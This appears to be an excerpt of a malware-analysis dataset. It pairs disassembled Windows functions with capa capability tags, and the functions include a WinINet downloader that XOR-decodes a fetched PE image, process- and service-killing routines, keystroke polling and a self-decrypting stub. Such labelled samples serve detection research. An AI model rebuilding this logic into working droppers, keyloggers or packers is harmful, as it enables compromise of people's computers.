joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20002c23
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20006ac0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x20001578
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20002d97
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20002d89
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20002d74
cmp dword [ebp - 0x10], 0xc8
jne 0x20002d74
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20002d6f
cmp dword [ebp - 0xc], 0
jne 0x20002d36
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.200040af
test eax, eax
je 0x20002d2a
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20003e34
test eax, eax
jne 0x20002d6f
lea eax, [ebp - 0x10e8]
push eax
call fcn.2000404a
cmp ebx, dword [ebp + 0x10]
ja 0x20002d6f
cmp dword [ebp - 8], 0
je 0x20002d86
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20002cf0
push dword [ebp + 0xc]
jmp 0x20002d75
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x20002dcd
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20002da7
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x20002dd4
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20006ac0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x20001578
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20002f48
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20002f3a
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20002f25
cmp dword [ebp - 0x10], 0xc8
jne 0x20002f25
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20002f20
cmp dword [ebp - 0xc], 0
jne 0x20002ee7
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.20004176
test eax, eax
je 0x20002edb
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20003e34
test eax, eax
jne 0x20002f20
lea eax, [ebp - 0x10e8]
push eax
call fcn.20004111
cmp ebx, dword [ebp + 0x10]
ja 0x20002f20
cmp dword [ebp - 8], 0
je 0x20002f37
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20002ea1
push dword [ebp + 0xc]
jmp 0x20002f26
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x20002f7e
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20002f58
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x20002fbe
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
cmp word [eax], 0x5a4d
jne 0x20003082
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x20003082
call fcn.20002f85
mov eax, dword [0x20001574]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001574], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20001574]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001574], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
call fcn.20002f85
mov eax, dword [0x20001574]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001574], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20001574]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001574], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xf4], eax
pop esi
pop ebp
ret 4

Function at 0x200031fd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.20004371
lea eax, [ebp - 0x208]
mov dword [0x20007080], 0x124f80
push eax
push 0x20007084
call fcn.20003efd
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x20007080
push 0x20003087
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x200033ee
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.20004371
lea eax, [ebp - 0x208]
mov dword [0x20007188], 0xdbba0
push eax
push 0x2000718c
call fcn.20003efd
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x20007188
push 0x20003260
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x20003515
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push 0x200023cc
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push 0x200023c0
push eax
lea eax, [ebp - 0x208]
push 0x200023b8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
pop edi
jne 0x200035b2
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
leave
ret 4
Function at 0x20003909
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.20003fd3
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov ebx, 0x1f0003
push 0x20002524
push esi
push ebx
call edi
cmp eax, esi
jne 0x2000394f
push 0x200024fc
push esi
push ebx
call edi
cmp eax, esi
jne 0x2000394f
push 0x200024d4
push esi
push ebx
call edi
cmp eax, esi
je 0x20003966
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.200037cc
push 0x200024c8
call fcn.20003f56
cmp eax, esi
je 0x20003986
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x20003986
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x200024bc
call fcn.20003f56
test eax, eax
je 0x200039bc
push esi
push 0x20003814
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x200024b0
call fcn.20003f56
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x200039bc
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x20003928

Function at 0x20003df6
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret 4

Function at 0x20003f56
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push esi
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.20003e34
test eax, eax
jne 0x20003fbe
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x20003fc4
jmp 0x20003f98
mov edi, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x2000404a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push 0x20002658
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x200040aa
mov ecx, dword [ebp + 8]
cmp byte [ecx], bl
je 0x20004084
inc eax
cmp byte [eax + ecx], bl
jne 0x2000407e
inc eax
push eax
push ecx
push 1
push ebx
push 0x20002650
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x200040af
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x20002658
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x200040d8
xor eax, eax
jmp 0x2000410d
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push eax
push 0
push 0x20002650
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret 4

Function at 0x20004111
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push 0x20002668
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x20004171
mov ecx, dword [ebp + 8]
cmp byte [ecx], bl
je 0x2000414b
inc eax
cmp byte [eax + ecx], bl
jne 0x20004145
inc eax
push eax
push ecx
push 1
push ebx
push 0x20002650
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x20004176
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x20002668
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x2000419f
xor eax, eax
jmp 0x200041d4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push eax
push 0
push 0x20002650
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret 4

Function at 0x20004237
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x2000426f
lea eax, [ebp - 0x1c]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret 8
Function at 0x4041a3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040308f
and dword [ebp - 4], 0
cmp dword [0x446508], 0
mov ebx, eax
jne 0x404254
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404305
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40feec
push edi
call esi
test eax, eax
je 0x404305
push eax
call fcn.0040301d
mov dword [esp], 0x40fedc
push edi
mov dword [0x446508], eax
call esi
push eax
call fcn.0040301d
mov dword [esp], 0x40fec8
push edi
mov dword [0x44650c], eax
call esi
push eax
call fcn.0040301d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x446510], eax
call esi
push eax
call fcn.0040301d
pop ecx
mov dword [0x446518], eax
test eax, eax
je 0x404254
push 0x40fe94
push edi
call esi
push eax
call fcn.0040301d
pop ecx
mov dword [0x446514], eax
mov eax, dword [0x446514]
cmp eax, ebx
je 0x4042ac
cmp dword [0x446518], ebx
je 0x4042ac
push eax
call fcn.00403098
push dword [0x446518]
mov esi, eax
call fcn.00403098
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4042ac
test edi, edi
je 0x4042ac
call esi
test eax, eax
je 0x4042a3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4042a3
test byte [ebp - 0xc], 1
jne 0x4042ac
or dword [ebp + 0x10], 0x200000
jmp 0x4042e5
mov eax, dword [0x44650c]
cmp eax, ebx
je 0x4042e5
push eax
call fcn.00403098
pop ecx
test eax, eax
je 0x4042e5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4042e5
mov eax, dword [0x446510]
cmp eax, ebx
je 0x4042e5
push eax
call fcn.00403098
pop ecx
test eax, eax
je 0x4042e5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x446508]
call fcn.00403098
pop ecx
test eax, eax
je 0x404305
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404307
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40600e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x445c38]
jne 0x406018
repz ret
jmp fcn.00407735
Function at 0x40b661
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x40b6dd
push 9
call esi
test bl, al
je 0x40b6dd
push 0x11
call esi
test bl, al
jne 0x40b6dd
push 0x10
call esi
test bl, al
jne 0x40b6dd
push 0x12
call esi
test bl, al
jne 0x40b6dd
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [esp + 0x14]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x40b6dd
push eax
push eax
push 0x44e
push edi
call dword [sym.imp.USER32.DLL_SendMessageA]
test eax, 0x800
jne 0x40b6dd
xor eax, eax
jmp 0x40b75f
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x40b706
push 0x11
call esi
test bl, al
jne 0x40b6fe
push 0x10
call esi
test bl, al
jne 0x40b6fe
push 0x12
call esi
test bl, al
je 0x40b706
push 1
push ebp
call fcn.0040b61a
mov esi, dword [sym.imp.USER32.DLL_GetPropA]
test edi, edi
je 0x40b71c
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x40b75c
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x40b75c
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x40b75c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x40b75c
dec esi
push esi
push dword [0x413b08]
call fcn.0040e59a
test eax, eax
je 0x40b75c
mov eax, dword [eax + 8]
jmp 0x40b75e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x40c6d0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x40c705
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402b88
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403ee8
test esi, esi
jne 0x402bbf
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00403fd8
jmp 0x402be0
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402a24
mov dword [esp], eax
test esi, esi
je 0x402be0
cmp dword [ebx], 0
je 0x402be0
dec esi
jmp 0x402bc7
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x402ff0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x41f008], 0x8088405
inc edx
mov dword [ebx + 0x41f008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403354
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x41f018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4033ec
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4033cc
xor eax, eax
push ebp
push 0x4033c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403408
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4033cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x41f018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x41f018], ax
mov esp, ebp
pop ebp
ret

Function at 0x403ce0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x421038], 0
je 0x403d41
cmp word [0x42120c], 0xd7b2
jne 0x403d09
cmp dword [0x421214], 0
jbe 0x403d09
mov eax, 0x421208
call dword [0x421224]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41f064
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d68
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41f024], 0
jne 0x403d5d
push 0
push 0x41f05c
push 0x41f064
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403e9c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402894
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x421039], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403e64
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc